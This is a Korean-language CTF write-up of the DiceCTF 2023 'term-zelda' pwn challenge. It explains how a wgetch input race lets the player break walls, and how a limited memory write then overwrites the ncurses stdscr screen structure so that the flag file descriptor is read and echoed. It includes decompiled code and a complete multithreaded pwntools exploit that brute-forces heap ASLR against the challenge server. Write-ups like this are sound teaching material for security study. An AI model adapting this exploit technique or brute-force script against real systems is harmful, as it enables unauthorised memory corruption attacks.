[CTF write up] Dice CTF 2023 - Zelda : FSOP in ncurse.so lib

2023. 2. 8. 19:05CTF write up

term-zelda

Dice CTF에서 출제된 1솔브 문제다. 푸는 방법은 완벽하게 구상했지만 remote로 페이로드가 보내지지 않아서 결국 시간내로 풀지는 못했다.

 

 

 

 

 

ida

첫번째 취약점은 비동기적으로 동작하는 wgetch를 여러번 반복하는 형식으로 인풋을 받는다는 것이다. 버퍼에 여러 값을 한번에 보낼 수 없는 키보드 조작으로는 문제없이 프로그램이 동작하지만, pwntools나 << 인풋을 통해 버퍼를 한꺼번에 채운다면, 앞에있는 enter_room 동작을 하기전에 여러 keypress 명령을 실행할 수 있다. 

 

 

 

 

ida

그리고 enter_room 함수는 플레이어를 반대방향으로 한칸 움직이게 하는데, 이때 벽이 있는지 체크하지 않는다. 결과적으로 wgetch의 비동기적 동작을 통해 room 진입 통로 위에서 enter_room 함수가 실행되기 전 방향을 바꿀 수 있고, 이때 뒤에 벽이 있을 경우 enter_room 함수에 의해 벽이 뚫린다.

 

 

 

 

term-zelda

tile의 좌표 값은 data 영역에 있기 때문에 벽을 뚫고 커서를 아래로 내리고 put / get을 통해 제한적인 값으로 bss 영역을 변조할 수 있다. 문제에서는 flag의 fd를 제공해주고 있고, 변조할 수 있는 값이 제한적이기 때문에 FSOP 문제라는 것을 유추할 수 있다. 또한 bss 영역에는 stdscr이라는 ncurse.h에서 이용하는 구조체가 있기 때문에 ncurse.h 라이브러리를 분석하여 stdscr을 악용할 수 있는 방법을 찾아내야한다.

 

 

 

 

__int64 __fastcall wgetch(__int64 stdscr)
{
....
  v3 = _nc_screen_of(stdscr);
  v4 = v3;
....
        else
      {
        buf = 0;
        v25 = read(*(_DWORD *)v4, &buf, 1uLL);
        v15 = buf;
        if ( v25 == -1 || v25 == 0 )
          v15 = 0xFFFFFFFFLL;
      }
....
  if ( *(_DWORD *)(v4 + 780) ){
  	....
      	wechochar(stdscr, 8LL);
....

wgetch 함수는 인자로 받은 stdscr로 부터 _nc_screen_of를 통해 *(stdscr-0x8) 값을 반환 받는다. 그리고 *(stdscr-0x8)에는 0(stdin fd)가 담겨있고 이를 통해 입력을 받는다. 따라서 **(stdscr-0x8) = flag_fd로 overwrite하면 flag.txt로 부터 값을 하나씩 뽑아온다. 그리고 이를 출력해야하는데, zelda의 소스코드를 보면 noecho 함수를 통해 입력된 값이 다시 출력되지 않도록 설정하는 부분이 있다. noecho 함수를 분석해보면 *(*(stdscr-0x8)+780)을 0으로 덮는 것을 확인할 수 있다. wgetch 함수에서 해당 값을 사용하는지 확인해보면, 위와 같이 *(*(stdscr-0x8)+780)의 값이 있다면 wechochar을 통해 입력된 값을 출력해준다는 것을 확인할 수 있다.

 

따라서, **(stdscr-0x8) = flag_fd, *(*(stdscr-0x8)+780)=1로 덮어주면 flag를 얻을 수 있다.

 

 

 

 

from pwn import *
import threading

CON = True
i = 0

REMOTE = True
if(REMOTE):
    up = '\033[A'
    down = '\033[B'
    right = '\033[C'
    left = '\033[D'
else:
    up = '\033OA'
    down = '\033OB'
    right = '\033OC'
    left = '\033OD'

def exploit(p):
    pay = ''
    # Through the wall
    pay += right*(40-6)+left*6 + left*6+up*(40-6) + left*6+up*(40-6) + 'p' + 'g' 
    # overwrite player_idx
    pay += down*5 + left + 'p' + down*120 + right*12 + down*4 + 'p'
    # overwrite *(*(stdscr-0x8)+780) = 1 to disable noecho
    pay += left*9 + down*7 + right + 'g' 
    # overwrite **(stdscr-0x8) = 5 (flag_fd)
    pay += up*20 + left*2 + up*50 + left*2 + 'p'*100

    p.sendline(pay)


def remote_thread():
    global CON
    global i
    while(CON):
        i = i + 1
        print(f"[+] {(1 - (((0x1fff-1)/0x1fff)**i))*100}%")
        try:
            p = remote("mc.ax", 31869)
            #p = process('./zelda')
        except:
            continue
        exploit(p)

        time.sleep(3)
        rs = p.clean(timeout=1)

        if b'}' in rs:
            print(rs)
            f = open('result.txt','wb+')
            f.write(rs)
            CON = False
        else:
            p.close()

thread_count = 10
th = []
for x in range(0,thread_count):
    th.append(threading.Thread(target=remote_thread))
    th[x].daemon = True
    th[x].start()

for x in range(0,thread_count):
    th[x].join()

player_idx를 덮어서 heap 영역으로 점프한 후 stdscr에 들어있는 구조체를 덮어주었다. 이때 heap 영역은 ASLR에 의해 랜덤하게 바뀌므로 Brute-Force를 해주어야한다. 기본적으로 gdb는 code 영역의 끝과 heap 영역의 시작 사이의 offset이 0x0이기 때문에 gdb를 통해 offset이 0x0일 경우에 성공적으로 flag를 출력되도록 코드를 짜고, remote에서 offset이 0x0가 될때까지 돌리면 된다.

 

여기서 로컬에서는 '\033OA' 같은 값을 통해 방향키를 입력할 수 있지만 리모트에는 '\033[A' 이와 같이 보내야 한다.